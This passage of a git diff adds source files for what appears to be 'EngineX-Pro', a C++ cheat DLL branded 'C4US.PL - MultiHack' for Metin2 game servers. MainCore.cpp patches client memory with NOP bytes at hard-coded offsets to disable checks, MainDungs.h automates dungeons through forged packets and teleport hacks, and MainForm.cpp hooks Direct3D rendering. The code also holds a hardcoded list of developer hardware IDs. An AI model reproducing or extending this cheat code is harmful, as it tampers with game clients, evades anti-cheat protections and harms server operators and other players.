GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27002); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27003); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + if (Globals::Server == ServerName::METINPL) + { + slot = GameFunctionsCustom::FindItemSlotInInventory(27007); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + slot = GameFunctionsCustom::FindItemSlotInInventory(27051); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + return; + } + } + } +}; + diff --git a/EngineX-Pro/MainCore.cpp b/EngineX-Pro/MainCore.cpp new file mode 100644 index 0000000..1820e78 --- /dev/null +++ b/EngineX-Pro/MainCore.cpp @@ -0,0 +1,266 @@ +#include "stdafx.h" +#include "MainCore.h" +#include "xorstr.hpp" + +bool MainCore::DXLoaded = false; + +void MainCore::StartCrack() +{ + switch (Globals::Server) + { + case ServerName::METINPL: + { + //89 85 94 FE FF FF E8 ? ? ? ? + break; + } + case ServerName::ARATHAR: + { + //0x21F8863 + MemoryExtension::MemSet(Globals::hEntryBaseAddress + 0x21F8863, 0x90, 5); + break; + } + case ServerName::TASTRIA2: + { + MemoryExtension::MemSet(Globals::hEntryBaseAddress + 0x1E67E0, 0x90, 10);//89 85 94 FE FF FF E8 ? ? ? ? + break; + } + default: + { + break; + } + } +} + +void MainCore::Crack() +{ + switch (Globals::Server) + { + //case ServerName::AELDRA: + //{ + // DWORD addr1 = Globals::pCPythonNetworkStreamSendAttackPacket + 0x29; + // MemoryExtension::MemSet(addr1, 0x90, 16); + // break; + //} + case ServerName::KEVRA: + { + // MemoryExtension::MemSet(Globals::hEntryBaseAddress + 0x15C394, 255, 1); + break; + } + case ServerName::LUNA: + { + MemoryExtension::MemSet((Globals::hEntryBaseAddress + 0x12F0E4), 0x90, 29); //83 C4 ? E8 ? ? ? ? 6A ? 6A + break; + } + default: + { + break; + } + } +} +///################################################################################################################## +bool MainCore::CheckMembers() +{ +#ifdef DEVELOPER_MODE + string hwid = GetHardwareId(); + + printf(hwid.c_str()); + printf("\n"); + + if ( hwid == XOR("21D7B04A-523B0BDA-3B9C1E8A-40E0655B"))//ja + { + return true; + } + else if (hwid == XOR("4AD9C548-593B0FB5-48957683-468F1729"))//laptop + { + return true; + } + else if (hwid == XOR("45B6C023-28530FB7-329670E2-22F56148"))//ser debug + { + return true; + } + else if (hwid == XOR("49B7C030-4A2318A5-2A856192-47FB174A"))//new seremo + { + return true; + } + else if (hwid == XOR("45B6C023-D6ADF1B7-CC688E1C-DC0B9FB6"))//ser release + { + return true; + } + else if (hwid == XOR("51A0C122-47476FA5-3BF219E5-3F881758"))//adi + { + return true; + } + else if (hwid == XOR("51A0C122-B9B991A5-C50CE71B-C176E9A6"))//adi + { + return true; + } + else if (hwid == XOR("F4791AF3-5C310B4B-F45B4182-8941D8E7"))//kom + { + return true; + } + else if (hwid == XOR("A57A041C-24235D09-55E00CE4-478F1629")) + { + return true; + } + else if (hwid == XOR("28C3A75F-5C347AB3-39E4738A-328A642E")) //sbk + { + return true; + } +#endif + return false; + + +} + +void MainCore::ConsoleOutput(const char* txt, ...) +{ +#ifdef DEVELOPER_MODE + printf(txt); + printf("\n"); +#endif +} + +void MainCore::NetworkThread() +{ + Network::Initialize(); + Network::SetRecvBufferSize(9999999); + Network::SetSendBufferSize(4256); + if (!Network::Connect(AUTH_IP_ADDRESS, AUTH_PORT)) + { + ExitProcess(0); + } + PacketHandler::SendAuthPacket(); + while (true) + { + Network::Process(); + PacketHandler::Process(); + Sleep(1); + } +} + +bool MainCore::isInitialized = false; + +///################################################################################################################## +void MainCore::Initialize() +{ + if (!DynamicTimer::CheckAutoSet(XOR("Initialize"), 300)) + { + return; + } + if (!Device::pDevice) + { + Globals::ReAddressingInstances(); + if (Globals::pCGraphicBasems_lpd3dDevice != NULL) + { + Device::pDevice = *reinterpret_cast(Globals::pCGraphicBasems_lpd3dDevice); + } + } + else + { +#if defined( DEVELOPER_MODE) || defined(_DEBUG) + if (!MainCore::CheckMembers()) + { + MessageBox(NULL, XOR("Cheat Wrong Version"), XOR("Error"), 0); + exit(0); + } +#endif + MainCore::Crack(); + // printf("0\n"); + ConsoleOutput(XOR("[+] Application detected.")); + // printf("2\n"); + Globals::ReDeclarationInstances(); + // ConsoleOutput("[+] 1."); + // printf("2\n"); + Globals::ReAddressingLocas(); + // ConsoleOutput("[+] 2."); + Globals::ReDeclarationLocals(); + // ConsoleOutput("[+] 3."); + if (Globals::Server == ServerName::METINPL || Globals::Server == ServerName::Ernidia || Globals::Server == ServerName::KEVRA || Globals::Server == ServerName::G22) + { + try + { + //ConsoleOutput("[+] 4."); + Globals::mainHwnd = (HWND)(*reinterpret_cast(Globals::iCPythonApplicationInstance + 4)); + } + catch (...) + { + //ConsoleOutput("[+] 5."); + ConsoleOutput(XOR("[-] Wrong Hwnd")); + } + } + if (Globals::UsePythonFunctions) + { + //ConsoleOutput("[+] 6."); + Globals::ReAddressingPython(); + } + Configuration::Instance().OnStart(); + //ConsoleOutput("[+] 7."); + Hooks::Initialize(); + //ConsoleOutput("[+] 8."); + string title = ""; + title += XOR("Version "); + title += DLL_VERSION; + title += " "; +#ifdef _DEBUG + title += XOR("Debug"); +#else + title += XOR("Relase \n(Free - If you paid u have been scammed) "); +#endif + title += " "; + MiscExtension::ShowBalloon(Globals::mainHwnd, XOR("C4US.PL - MultiHack"), title.c_str(), NULL); + isInitialized = true; + } +} +///################################################################################################################## +void MainCore::UpdateLoop() +{ + DelayActions::Update(); + for (map< pair, pair>> ::iterator itor = MainCore::moduleList.begin(); itor != MainCore::moduleList.end(); itor++) + { + if (itor->second.first) + { + itor->second.second->OnUpdate(); + } + } + if (GetForegroundWindow() == Globals::mainHwnd) + { + if (MainForm::Hotkey(Settings::MAIN_GLOBAL_SWITCH_KEY)) + { + Settings::GLOBAL_SWITCH_ENABLE = !Settings::GLOBAL_SWITCH_ENABLE; + if (Settings::GLOBAL_SWITCH_ENABLE == true) + { + Main::Instance().OnStart(); + } + else + { + Main::Instance().OnStop(); + } + } + if (MainForm::Hotkey(Settings::MAIN_RELOG_KEY)) + { + if (Globals::Server == ServerName::METINPL) + { + GameFunctions::NetworkStreamConnectGameServer(0); + Main::Instance().ResetSkillTimer(); + } + else + { + int lastSlot = GameFunctionsCustom::GetCharSlotByName(GameFunctions::PlayerGetName()); + if (lastSlot != -1) + { + GameFunctions::NetworkStreamConnectGameServer(lastSlot); + Main::Instance().ResetSkillTimer(); + } + } + } + if (MainForm::Hotkey(Settings::MAIN_BOOST_KEY, 34)) + { + GameFunctionsCustom::Boost(); + } + + if (MainForm::Hotkey(Settings::MAIN_HIDE_UI_KEY)) + { + MainForm::SideBarIsOpen = !MainForm::SideBarIsOpen; + } + } +} \ No newline at end of file diff --git a/EngineX-Pro/MainCore.h b/EngineX-Pro/MainCore.h new file mode 100644 index 0000000..2ef6aca --- /dev/null +++ b/EngineX-Pro/MainCore.h @@ -0,0 +1,43 @@ +#pragma once +class MainCore +{ +public: + static bool DXLoaded; + static bool isInitialized; + static void StartCrack(); + static void Crack(); + static void NetworkThread(); + static bool CheckMembers(); + static void Initialize(); + static void UpdateLoop(); + static void ConsoleOutput(const char* txt, ...); + static map < pair, pair>> moduleList; +}; + +map < pair, pair>> MainCore::moduleList = +{ + { make_pair(10, 1), make_pair(true, shared_ptr(new Main()))}, + { make_pair(14, 1), make_pair(true,shared_ptr(new Item()))}, + { make_pair(16, 1), make_pair(true, shared_ptr(new Farm()))}, + { make_pair(17, 1), make_pair(true,shared_ptr(new Buff()))}, + +#ifdef FISHBOT + { make_pair(20, 2), make_pair(true, shared_ptr(new Fish()))}, +#endif + +// { make_pair(30, 3), make_pair(false, shared_ptr(new AutoTalk()))}, + { make_pair(31, 3), make_pair(true, shared_ptr(new Status()))}, + { make_pair(32, 3), make_pair(true,shared_ptr(new Inventory()))}, + { make_pair(33, 3), make_pair(true,shared_ptr(new Spam()))}, + { make_pair(34, 3), make_pair(true, shared_ptr(new PythonScript()))}, + + { make_pair(40, 4), make_pair(true,shared_ptr(new Visuals()))}, + { make_pair(50, 5), make_pair(true, shared_ptr(new Protection()))}, + { make_pair(60, 6), make_pair(true,shared_ptr(new Configuration()))}, + +#ifdef DEVELOPER_MODE + //{ make_pair(70, 7), make_pair(true, shared_ptr(new Debug()))}, + { make_pair(71, 7), make_pair(true, shared_ptr(new PacketSniffer()))}, + { make_pair(72, 7), make_pair(true, shared_ptr(new MainDungs()))}, +#endif +}; diff --git a/EngineX-Pro/MainDungs.h b/EngineX-Pro/MainDungs.h new file mode 100644 index 0000000..7a40c3b --- /dev/null +++ b/EngineX-Pro/MainDungs.h @@ -0,0 +1,574 @@ +#pragma once +class MainDungs : public IAbstractModuleBase, public Singleton +{ +private: + enum DungeonType + { + DT = 0, + ATYVA_DT = 1, + BARIA_175_0 = 2, + }; +public: + int Phase = 0; + + int Floor2Step = 0; + vector Floor2Positions; + int Floor5Step = 0; + vector Floor5Positions; + + void CheckRelogDT() + { + if (GameFunctionsCustom::GetMapName() != "metin2_map_deviltower1") + { + if (Phase != 0) { + if (GameFunctionsCustom::PlayerIsInstance()) { + DWORD DemonTowerGuard = 0; + switch (Settings::DUNGEON_TYPE) { + case DungeonType::DT: + DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20348); + if (!DemonTowerGuard) + { + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + break; + case DungeonType::ATYVA_DT: + DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20504); + if (!DemonTowerGuard) + { + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + break; + } + } + + } + return; + } + } + + void DemonTowerStart(int i) + { + if (Phase == 0) { + if (GameFunctionsCustom::GetMapName() == "metin2_map_deviltower1") { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + Phase = 1; + } + else { + DWORD DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20348); + if (!DemonTowerGuard) + { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Brak NPC!"); + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(i); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + Phase = 1; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + } + } + } + + void AtyvaDemonTowerStart(int i) + { + if (Phase == 0) { + if (GameFunctionsCustom::GetMapName() == "metin2_map_deviltower1") { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + Phase = 1; + } + else { + DWORD DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20504); + if (!DemonTowerGuard) + { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Brak NPC!"); + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(i); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + Phase = 1; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + } + } + } + + void Dungeon175Start(int i) + { + if (Phase == 0) { + if (GameFunctionsCustom::GetMapName() == "vulcan_cave") { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + Phase = 1; + } + else { + DWORD DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20509); + if (!DemonTowerGuard) + { + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Brak NPC!"); + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(i); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + //Phase = 1; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + } + } + } + + void OnStart() + { + Floor2Positions = { + D3DVECTOR{13629, 38768, 0}, D3DVECTOR{16983, 37937, 0}, D3DVECTOR{20189, 39168, 0}, + D3DVECTOR{21150, 42453, 0}, D3DVECTOR{20071, 45562, 0}, D3DVECTOR{17547, 46444, 0}, + D3DVECTOR{14887, 46372, 0}, D3DVECTOR{12801, 45006, 0}, D3DVECTOR{11794, 42202, 0}, + D3DVECTOR{12082, 39900, 0}, D3DVECTOR{13664, 38678, 0} + }; + Floor5Positions = { + D3DVECTOR{40550, 39705, 0}, D3DVECTOR{41592, 40065, 0}, D3DVECTOR{42419, 41539, 0}, + D3DVECTOR{42347, 43409, 0}, D3DVECTOR{40765, 44955, 0}, D3DVECTOR{38320, 44847, 0}, + D3DVECTOR{37062, 43013, 0}, D3DVECTOR{37278, 41144, 0}, D3DVECTOR{38680, 40317, 0}, + D3DVECTOR{40442, 39705, 0} + }; + Settings::DUNGEON_BOT_ENABLE = true; + Logger::Add(Logger::MAIN, true, Logger::WHITE, GameFunctionsCustom::GetMapName().c_str()); + switch (Settings::DUNGEON_TYPE) { + case DungeonType::DT: + DemonTowerStart(0); + break; + case DungeonType::ATYVA_DT: + AtyvaDemonTowerStart(1); + break; + case DungeonType::BARIA_175_0: + Dungeon175Start(0); + break; + } + } + + void OnStop() + { + Settings::DUNGEON_BOT_ENABLE = false; + Floor2Step = 0; + Floor5Step = 0; + + } + + static void Exit175() + { + + } + + static void Restart() + { + switch (Settings::DUNGEON_TYPE) { + case DungeonType::DT: + MainDungs::Instance().DemonTowerStart(1); + break; + case DungeonType::ATYVA_DT: + MainDungs::Instance().DemonTowerStart(1); + break; + case DungeonType::BARIA_175_0: + MainDungs::Instance().Dungeon175Start(0); + Main::Instance().ResetSkillTimer(); + break; + } + } + + void Teleport(D3DVECTOR vec) + { + D3DVECTOR CharPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &CharPos); + vector< D3DVECTOR> gf = MiscExtension::DivideTwoPointsByDistance(400, CharPos, vec); + int i = 0; + for (vector< D3DVECTOR>::iterator it = gf.begin(); it != gf.end(); ++it) + { + bool InDistance = MathExtension::PointInCircle(CharPos, vec, 400); + if (!InDistance) + { + DelayActions::AppendBlock(false, 34 * (i + 1), &GameFunctionsCustom::Teleport, D3DVECTOR{ it->x, it->y, it->z }); + } + i++; + } + } + + void CheckCoords() + { + if (Phase == 0) + { + return; + } + D3DVECTOR CharPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &CharPos); + bool Floor1 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 16004, 65304, 0 }, 8000); + if (Floor1 && Phase != 1) + { + Phase = 1; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 1!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 16004, 65304, 0 }); + return; + } + bool Floor2 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 16431, 41912, 0 }, 8000); + if (Floor2 && Phase != 2) + { + Phase = 2; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 2!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 16431, 41912, 0 }); + return; + } + bool Floor3 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 17807, 18682, 0 }, 8000); + if (Floor3 && Phase != 3) + { + Floor2Step = 0; + Phase = 3; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 3!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 17807, 18682, 0 }); + return; + } + bool Floor4 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 39402, 65544, 0 }, 6500); + if (Floor4 && Phase != 4) + { + Phase = 4; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 4!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 39402, 65544, 0 }); + return; + } + bool Floor5 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 39572, 42738, 0 }, 6500); + if (Floor5 && Phase != 5) + { + Phase = 5; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 5!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 39572, 42738, 0 }); + return; + } + bool Floor6 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 39855, 19264, 0 }, 8000); + if (Floor6 && Phase != 6) + { + Floor5Step = 0; + Phase = 6; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 6!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 39855, 19264, 0 }); + return; + } + bool Floor7 = MathExtension::PointInCircle(CharPos, D3DVECTOR{ 61675, 66273, 0 }, 6500); + if (Floor7 && Phase != 7) + { + Phase = 7; + Logger::Add(Logger::MAIN, true, Logger::WHITE, "Pietro 7!"); + DelayActions::Clear(); + + Teleport(D3DVECTOR{ 61675, 66273, 0 }); + return; + } + } + + void Update175() + { + if (GameFunctionsCustom::GetMapName() != "vulcan_cave") + { + if (Phase != 0) { + if (GameFunctionsCustom::PlayerIsInstance()) { + DWORD DemonTowerGuard = 0; + switch (Settings::DUNGEON_TYPE) { + case DungeonType::BARIA_175_0: + DemonTowerGuard = GameFunctionsCustom::GetCloseObjectByVnum(20509); + if (!DemonTowerGuard) + { + return; + } + GameFunctions::NetworkStreamSendOnClickPacket(DemonTowerGuard); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + break; + } + } + } + return; + } + D3DVECTOR CharPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &CharPos); + DWORD MetinZguby = GameFunctionsCustom::GetCloseObjectByVnum(8087); + if (MetinZguby) + { + Phase = 1; + + D3DVECTOR MobPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(MetinZguby), &MobPos); + if (!MathExtension::PointInCircle(CharPos, MobPos, 400)) + { + Teleport(MobPos); + } + return; + } + DWORD KrwistySmok = GameFunctionsCustom::GetCloseObjectByVnum(2496); + if (KrwistySmok) + { + Phase = 2; + + D3DVECTOR MobPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(KrwistySmok), &MobPos); + if (!MathExtension::PointInCircle(CharPos, MobPos, 400)) + { + Teleport(MobPos); + } + return; + } + //Floors + switch (Phase) + { + case 1: { + break; + } + case 2: { + DWORD KrwistySmok = GameFunctionsCustom::GetCloseObjectByVnum(2496); + if (!KrwistySmok) + { + DWORD Pieczec = GameFunctionsCustom::GetCloseObjectByVnum(20081); + if (Pieczec) + { + GameFunctions::NetworkStreamSendOnClickPacket(Pieczec); + int GroundSize = GameFunctionsCustom::GetGroundItemList().size(); + if (GroundSize == 0) + { + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + DelayActions::AppendBlock(false, 5000, &Restart); + } + } + } + break; + } + } + } + + void UpdateDT() + { + //Check relog + CheckRelogDT(); + //Check Coords + CheckCoords(); + //Floors + D3DVECTOR CharPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &CharPos); + switch (Phase) + { + case 1: { + DWORD MetinTwardosci = GameFunctionsCustom::GetCloseObjectByVnum(8015); + if (!MetinTwardosci) + { + return; + } + D3DVECTOR MetinPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(MetinTwardosci), &MetinPos); + Teleport(MetinPos); + break; + } + case 2: { + bool InDistance = MathExtension::PointInCircle(CharPos, Floor2Positions[Floor2Step], 400); + if (InDistance) + { + Floor2Step++; + } + if (Floor2Step == Floor2Positions.size()) + { + reverse(Floor2Positions.begin(), Floor2Positions.end()); + Floor2Step = 0; + } + if (!InDistance) + { + Teleport(Floor2Positions[Floor2Step]); + } + break; + } + case 3: { + DWORD KrolDemonow = GameFunctionsCustom::GetCloseObjectByVnum(1091); + if (!KrolDemonow) + { + return; + } + D3DVECTOR MobPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(KrolDemonow), &MobPos); + Teleport(MobPos); + break; + } + case 4: { + DWORD Metin = GameFunctionsCustom::GetCloseObject(OBJECT_STONE, 10000); + if (!Metin) + { + return; + } + D3DVECTOR MetinPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(Metin), &MetinPos); + Teleport(MetinPos); + break; + } + case 5: { + //Przeciaganie pieczeci + int kamien_slot = GameFunctionsCustom::FindItemSlotInInventory(50084); + if (kamien_slot != -1) { + DWORD Pieczec = GameFunctionsCustom::GetCloseObjectByVnum(20073); + if (Pieczec) + { + D3DVECTOR MetinPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(Pieczec), &MetinPos); + vector< D3DVECTOR> gf = MiscExtension::DivideTwoPointsByDistance(400, CharPos, MetinPos); + int i = 0; + for (vector< D3DVECTOR>::iterator it = gf.begin(); it != gf.end(); ++it) + { + bool InDistance = MathExtension::PointInCircle(CharPos, MetinPos, 400); + if (!InDistance) + { + DelayActions::AppendBlock(false, 34 * (i + 1), &GameFunctionsCustom::Teleport, D3DVECTOR{ it->x, it->y, it->z }); + } + else { + GameFunctions::NetworkStreamSendGiveItemPacket(Pieczec, TItemPos{INVENTORY, (WORD)kamien_slot}, 1); + } + i++; + } + } + } + //Bicie + bool InDistance = MathExtension::PointInCircle(CharPos, Floor5Positions[Floor5Step], 400); + if (InDistance) + { + Floor5Step++; + } + if (Floor5Step == Floor5Positions.size()) + { + reverse(Floor5Positions.begin(), Floor5Positions.end()); + Floor5Step = 0; + } + if (!InDistance) + { + Teleport(Floor5Positions[Floor5Step]); + } + break; + } + case 6: { + DWORD ElitKrolDemonow = GameFunctionsCustom::GetCloseObjectByVnum(1092); + if (ElitKrolDemonow) + { + D3DVECTOR MobPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(ElitKrolDemonow), &MobPos); + Teleport(MobPos); + return; + } + else { + vector Kowale; + Kowale.push_back(GameFunctionsCustom::GetCloseObjectByVnum(20074)); + Kowale.push_back(GameFunctionsCustom::GetCloseObjectByVnum(20075)); + Kowale.push_back(GameFunctionsCustom::GetCloseObjectByVnum(20076)); + auto Kowal = std::find_if(begin(Kowale), end(Kowale), [](int n) { return n != 0; }); + Kowale.erase(begin(Kowale), Kowal); + if (*Kowal != 0) { + GameFunctions::NetworkStreamSendOnClickPacket(*Kowal); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + Phase = 7; + //int lastSlot = GameFunctionsCustom::GetCharSlotByName(GameFunctions::PlayerGetName()); + //if (lastSlot != -1) + //{ + // GameFunctions::NetworkStreamConnectGameServer(lastSlot); + // Main::Instance().ResetSkillTimer(); + //} + //DelayActions::AppendBlock(false, 5000, &Restart); + } + } + break; + } + case 7: { + DWORD Metin = GameFunctionsCustom::GetCloseObject(OBJECT_STONE, 10000); + if (!Metin) + { + return; + } + D3DVECTOR MetinPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::CharacterManagerGetInstancePtr(Metin), &MetinPos); + Teleport(MetinPos); + break; + } + } + } + + void OnUpdate() + { + if (Settings::DUNGEON_BOT_ENABLE) + { + if (GameFunctionsCustom::PlayerIsInstance()) { + switch (Settings::DUNGEON_TYPE) { + case DungeonType::DT: + UpdateDT(); + break; + case DungeonType::ATYVA_DT: + UpdateDT(); + break; + case DungeonType::BARIA_175_0: + Update175(); + break; + } + } + } + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("DungBot", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + std::string PhaseText = "Phase:" + to_string(Phase); + ImGui::Text(PhaseText.c_str()); + if (ImGui::Checkbox("On/Off", &Settings::DUNGEON_BOT_ENABLE)) { + if (Settings::DUNGEON_BOT_ENABLE == true) + { + OnStart(); + } + else + { + OnStop(); + } + } + ImGui::RadioButton("DT", &Settings::DUNGEON_TYPE, 0); + ImGui::RadioButton("ATYVA DT", &Settings::DUNGEON_TYPE, 1); + ImGui::RadioButton("BARIA 175", &Settings::DUNGEON_TYPE, 2); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(72, "Dungeons"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 72: + OnTab1(); + break; + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/MainForm.cpp b/EngineX-Pro/MainForm.cpp new file mode 100644 index 0000000..c5621a3 --- /dev/null +++ b/EngineX-Pro/MainForm.cpp @@ -0,0 +1,1191 @@ +#include "stdafx.h" +#include "CRender.h" +#include "MainForm.h" +#include "xorstr.hpp" +#define VK_0 0x30 +#define VK_1 0x31 +#define VK_2 0x32 +#define VK_3 0x33 +#define VK_4 0x34 +#define VK_5 0x35 +#define VK_6 0x36 +#define VK_7 0x37 +#define VK_8 0x38 +#define VK_9 0x39 +#define VK_A 0x41 +#define VK_B 0x42 +#define VK_C 0x43 +#define VK_D 0x44 +#define VK_E 0x45 +#define VK_F 0x46 +#define VK_G 0x47 +#define VK_H 0x48 +#define VK_I 0x49 +#define VK_J 0x4A +#define VK_K 0x4B +#define VK_L 0x4C +#define VK_M 0x4D +#define VK_N 0x4E +#define VK_O 0x4F +#define VK_P 0x50 +#define VK_Q 0x51 +#define VK_R 0x52 +#define VK_S 0x53 +#define VK_T 0x54 +#define VK_U 0x55 +#define VK_V 0x56 +#define VK_W 0x57 +#define VK_X 0x58 +#define VK_Y 0x59 +#define VK_Z 0x5A + + +LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); +typedef HRESULT(WINAPI* Prototype_Present)(DirectDevice2, const RECT*, const RECT*, HWND, const RGNDATA*); +Prototype_Present Original_Present; +typedef HRESULT(WINAPI* Prototype_End)(DirectDevice2); +Prototype_End Original_End; +typedef HRESULT(WINAPI* Prototype_Reset)(DirectDevice2, D3DPRESENT_PARAMETERS*); +Prototype_Reset Original_Reset; + +DirectTexture ImageLoad(int resourceID = 0) +{ + DirectTexture texture = nullptr; + D3DXCreateTextureFromResource(Device::pDevice, Globals::hModule, MAKEINTRESOURCE(resourceID), &texture); + return texture; +} + +bool MainForm::IsRadarHovered = false; +map MainForm::ResourceMap; + +//DirectTexture MainForm::LogoHref; +//DirectTexture MainForm::Background; +//DirectTexture MainForm::WindowOn; +//DirectTexture MainForm::WindowOff; +//DirectTexture MainForm::RadarOn; +//DirectTexture MainForm::RadarOff; +//DirectTexture MainForm::MHOn; +//DirectTexture MainForm::MHOff; +//DirectTexture MainForm::AutologinOn; +//DirectTexture MainForm::AutologinOff; +//DirectTexture MainForm::FishbotOn; +//DirectTexture MainForm::FishbotOff; +//DirectTexture MainForm::ExitGameIcon; +//DirectTexture MainForm::ChannelChangerIcon; +// +//DirectTexture MainForm::LogOn; +//DirectTexture MainForm::LogOff; +// +//DirectTexture MainForm::MainTab; +//DirectTexture MainForm::FishbotTab; +//DirectTexture MainForm::AdditionalTab; +//DirectTexture MainForm::VisualsTab; +//DirectTexture MainForm::ProtectionTab; +//DirectTexture MainForm::SettingsTab; +//DirectTexture MainForm::DeveloperTab; +// +// +//DirectTexture MainForm::ninja_a_0; +//DirectTexture MainForm::ninja_a_1; +//DirectTexture MainForm::ninja_a_2; +//DirectTexture MainForm::ninja_a_3; +//DirectTexture MainForm::ninja_a_4; +//DirectTexture MainForm::ninja_a_5; +// +//DirectTexture MainForm::ninja_d_0; +//DirectTexture MainForm::ninja_d_1; +//DirectTexture MainForm::ninja_d_2; +//DirectTexture MainForm::ninja_d_3; +//DirectTexture MainForm::ninja_d_4; +//DirectTexture MainForm::ninja_d_5; +// +//DirectTexture MainForm::shaman_d_0; +//DirectTexture MainForm::shaman_d_1; +//DirectTexture MainForm::shaman_d_2; +//DirectTexture MainForm::shaman_d_3; +//DirectTexture MainForm::shaman_d_4; +//DirectTexture MainForm::shaman_d_5; +// +// +//DirectTexture MainForm::shaman_h_0; +//DirectTexture MainForm::shaman_h_1; +//DirectTexture MainForm::shaman_h_2; +//DirectTexture MainForm::shaman_h_3; +//DirectTexture MainForm::shaman_h_4; +//DirectTexture MainForm::shaman_h_5; +// +// +// +//DirectTexture MainForm::sura_b_0; +//DirectTexture MainForm::sura_b_1; +//DirectTexture MainForm::sura_b_2; +//DirectTexture MainForm::sura_b_3; +//DirectTexture MainForm::sura_b_4; +//DirectTexture MainForm::sura_b_6; +// +// +//DirectTexture MainForm::sura_w_0; +//DirectTexture MainForm::sura_w_1; +//DirectTexture MainForm::sura_w_2; +//DirectTexture 